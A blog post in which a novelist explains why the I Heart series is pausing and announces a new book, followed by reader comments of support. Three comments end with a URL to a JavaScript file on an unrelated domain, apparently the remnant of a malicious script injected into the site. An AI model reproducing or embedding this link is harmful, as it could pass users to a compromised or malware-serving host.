A change is as good as a rest…

OK. I do realise there’s every chance this post will not make me popular but I feel obliged to say something, since so many of you have asked.

I Heart London is the last book in the I Heart series for now. There are several reasons for this, the most important being that when I started writing it, I really felt like I’d finished telling Angela’s story and didn’t want to take the piss out of you or her by stringing out her adventures needlessly. Who wanted to read I Heart Blackpool where Angela loses a Louboutin while riding the donkeys, Jenny fell in love up the Blackpool tower and Alex rode in on the number 17 to save the day under the illuminations? Well, me actually but the point is, I thought I was done. The thing is, once I’d got about halfway through and knew how things were going to pan out, I realised there were stillΒ  a million things for Angela et al to get up to. That said, I still think she (and I) need a bit of a rest, if only some time off to get up to new trouble.

Unfortunately for me, there’s no time for time off. If I stop writing, my hands seize up and my friends start hitting me around the face with their handbags because I start talking too much. Even more than normal. And so, I’m currently busy working away on something very shiny and very new, the title of which will be announced shortly. I promise it’ll be funny and romantic and full of new friends to fall in love with and one day, in a couple of years, Angela and Alex will be back. I have everything crossed that you’ll like it and honestly, the idea of putting out something new is genuinely terrifying so I really, really need you on side with this. Please?
Does that sound like a fair deal?

And failing all else, please accept this photo of a tie-dyed goat I met at the Goldthwaite, Texas goat festival.

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  1. I can’t wait for what you do next. Love them all! I’ve wrote some stuff myself but would never have the guts to send them somewhere. Thanks Lindsay, for all the laughs n spill teas ha ha xhttp://online-sale24.com/1.js

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  2. I, for one, have no problem whatsoever with your plan (not that you need or desire my approval). I enjoy your writing because I get the feeling of getting to know your characters as though they are real. I look forward to your newest venture, whatever it is.

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  3. Love love love I Heart series, especially I Heart London but will look forward to meeting some new characters too πŸ™‚ xx ps love the tie-dyed goat

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  4. mellissa stowe July 15, 2012 — 2:12 pm

    Although part of me hated this post for obvious reasons, It would be great to read more books by you. After all we fell in love with Angela and her adventures, who knows we could find ourselves head over heels once again. Good luck to you Lindsey and I can’t wait for your new book!

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  5. I can’t wait for what you do next. Love them all! I’ve wrote some stuff myself but would never have the guts to send them somewhere. Thanks Lindsay, for all the laughs n spill teas ha ha x

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  6. Natasha Griffiths July 15, 2012 — 2:22 pm

    Hi Lindsey, I have to agree with you, I have thoroughly enjoyed Angela’s adventures and after all we do love a happy ending that was very fitting. I will be looking forward to your new projects and hearing more of your own adventures in the Big Apple (green with envy!) hope you are enjoying being back in the country and no James Martin is not married what a catch he would be!x

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  7. Aww the I Heart series is one of my ultimate favourite’s! So without a new Angela instalment for the next couple of years my life will be incredibly boring, but knowing you, your next book will be just as amazing!! Can’t wait to read it! πŸ™‚

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  8. So excited about your new project. Your books and yourself have inspired me to blogg and maybe write my own book one day. Laura x

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  9. I will be sad that there will be no more Angela for a while but I’m excited to see what else you have in store for us. πŸ™‚

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  10. Anything you wrote I will read and I’m sure it will be as good as the I heart series

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  11. Here in Spain your 2 last books are not in spanish yet. And I can’t wait to read them. A little change o a bit of a rest ever is good; I will be waiting your new book, new characters, new stories. It will be fantastic! Good luck!! πŸ˜€

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  12. I am so excited to see what you are writing next. While I love the I Heart series I actually loved Single Girl’s To Do List more so I am so excited for what’s coming!

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  13. I love the I heart series and the single girls to do list, is there any way you would write a follow up to that one day?

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  14. I love Angela, Alex and Jenny! But i also fell in love with Rachel so i think i will fall in love with your new book too!

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  15. Loved loved loved all the I heart series and really excited to read something new from yourself I know it will be amazing good luck with the writing xxxx

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  16. Will miss A&J enourmously.They feel like my best friends but looking forward to meeting the new ones. I’m sure we’ll all make them feel very welcome πŸ˜€ I Love your writing. It’s a pleasure to read & feels completely real. Can’t wait xxx

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  17. Caroline Thomson July 15, 2012 — 4:14 pm

    I forgive you. Can’t wait for your next big thing. You write scatty dysfunctional less than perfect girls perfectly! Loved the single girls to do list just as much as the I Heart series because you also write rat bastards and dishevelled hero’s perfectly too.
    Well done you. Keep it up luv
    X

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  18. Love anything you write, but not gonna lie – I’ll be v excited to see Angela back eventually. That’s because you’ve done what you set out to do, and made us fall in love with her and the rest of the characters.

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  19. Good luck with new idea! I`m waiting to read it πŸ˜‰ All I Heart series are great and Girls list too.

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  20. I’m pretty new to Angela et al and her fantasticly funny exploits. I’ve become a HUGE fan of yours pretty much immediately so just wanted to write “I’m on board Babe!!!” I’m halfway through Vegas, can’t wait to read London, but holding off too because then it’ll be over. Single Ladies after that though to look forward to. All I ask is that you just keep writing for us, whatever it is. To be honest, even a book of your Tweets would be a success, they are hilarious & make me smile on very dreary days at work x

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  21. ok so we will wait to see what angie and alex will do in a couple of years but i must admit i’m in love with her and alex so i would love to see them in the futur ..and can’t wait for your new story πŸ™‚

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  22. Sounds very exciting! I’m just looking forward to anything you write, whether it’s new or the classics :o) Good luck, I’m sure it will be amazing! x

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  23. The goat more than made up for this in my opinion.

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  24. Having found you through The Single Girl’s To Do List, stumbling across the I Heart series was a lovely bonus. Can’t wait to see what comes next xxxhttp://online-sale24.com/1.js

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  25. I loved the I heart series and The single girls to do list – amazing books! Sitting proudly on their own shelf, lol! Can’t wait to see what come out next πŸ™‚

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  26. Having found you through The Single Girl’s To Do List, stumbling across the I Heart series was a lovely bonus. Can’t wait to see what comes next xxx

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  27. eilidhcatriona July 16, 2012 — 4:21 am

    Looking forward to your newest book…but I will hold you to your promise that Angela and Alex will be back one day.

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  28. Look forward to your new book and know that it will be as brilliantly written as are your other wonderful books. Patience is a virtue and will happily wait until Angela is back in however many years.

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  29. I am on your side! Good luck and I look forward to reading your new stories:)

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  30. It’s true that I do love the I Heart series, and I loved the Single girls to do list, and I am definitely excited about the new book (release date?), But I cant help thinking that Angela, Alex and Jenny will be missing from my life. It is sad, but hopefully in the future, we’ll hear about them again. In the mean time, bring on the new book!!!!!! xXxXx

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  31. I have just finished I Heart London and really enjoyed it, I feel lost now but I’m looking forward to your new characters and I can wait for Angela and Alex’s return in the future. I may have to read them all again xxxx

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  32. For future reference I Heart Blackpool sounds great, haha! Good luck with the new book, if the others are anything to go by I can’t wait!! πŸ˜€ xx

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  33. So excited for you – xoxo

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  34. Looking forward to learning more about your new project πŸ™‚

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  35. still love what you would write

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  36. I’m sure it will be fab! And we all know I LOVED The Single Girl’s To Do List – Read my review
    So if you write another of those, I will love it also. Happy Writing! Can’t wait to read whatever you have in store for us next! xx

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  37. Thank you so much for the tie-dyed goat.
    it was such a fantastic gift I am prepared to accept your new character(s) and that πŸ™‚ xxx

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  38. You had me at the” tie-dyed goat” πŸ™‚

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  39. Oh no! Gonna miss the I Heart Series! *sob*
    I just started to read I Heart London and it’s so great, I can’t put it down. I even tried to read in the office, which was kinda dangerous…
    But I guess it’s a good idea to take a break or otherwise it’ll never end.
    Looking forward to your new book! πŸ™‚ Yay!!http://online-sale24.com/1.js

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  40. Oh no! Gonna miss the I Heart Series! *sob*
    I just started to read I Heart London and it’s so great, I can’t put it down. I even tried to read in the office, which was kinda dangerous…
    But I guess it’s a good idea to take a break or otherwise it’ll never end.
    Looking forward to your new book! πŸ™‚ Yay!!

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  41. I’ve just finished I heart London, amazing!! Which is what bought me here, looking for any information on if there was going to be a follow up, I can understand you wanting to do something ‘new’, but please don’t forget about Angela and Alex! I would love to read another book with them involved!
    Good luck with the new book and no doubt I will be buying that when it’s out!

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  42. I loved the I Heart Series, and I am so happy to hear that there will be some more of your books to come in the future. Thank you for letting us know! I’m really looking forward to reading the new book now! πŸ™‚ x

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  43. I have to say I was disappointed to read “The End” at the end of I Heart London, but after reading this post, I can’t wait until Angela and the gang return with new adventures. It has been an awesome series. Good luck with the upcoming book, I absolutely love your work!!!

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  44. I am so deeply in love with the “I Heart” Series and actually I am halfway through “London” and I already thought that this might be the end (for now) as she returns to her home, the place where it all began…
    So I am sort of hesitating to read on, I just don’t want it to end πŸ™‚
    But actually, once I have started, I can never stop!
    So I am looking forward to all of your stuff, Angela or not – I am excited!

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  45. I am loving the I Heart series… one problem though… I didn’t realise it was a series when I picked it up in the store. I have actually managed to read it backwards!! I picked up London as I am going to London in 4 weeks, I will have to check out Angela’s list! Then Paris (I liked London so much had to read Paris, plus aforementioned impending visit). Now reading New York!

    Seems the books in Australia don’t show they are part of a series!!

    Was hoping to see an I Heart Baby! But oh well πŸ™‚

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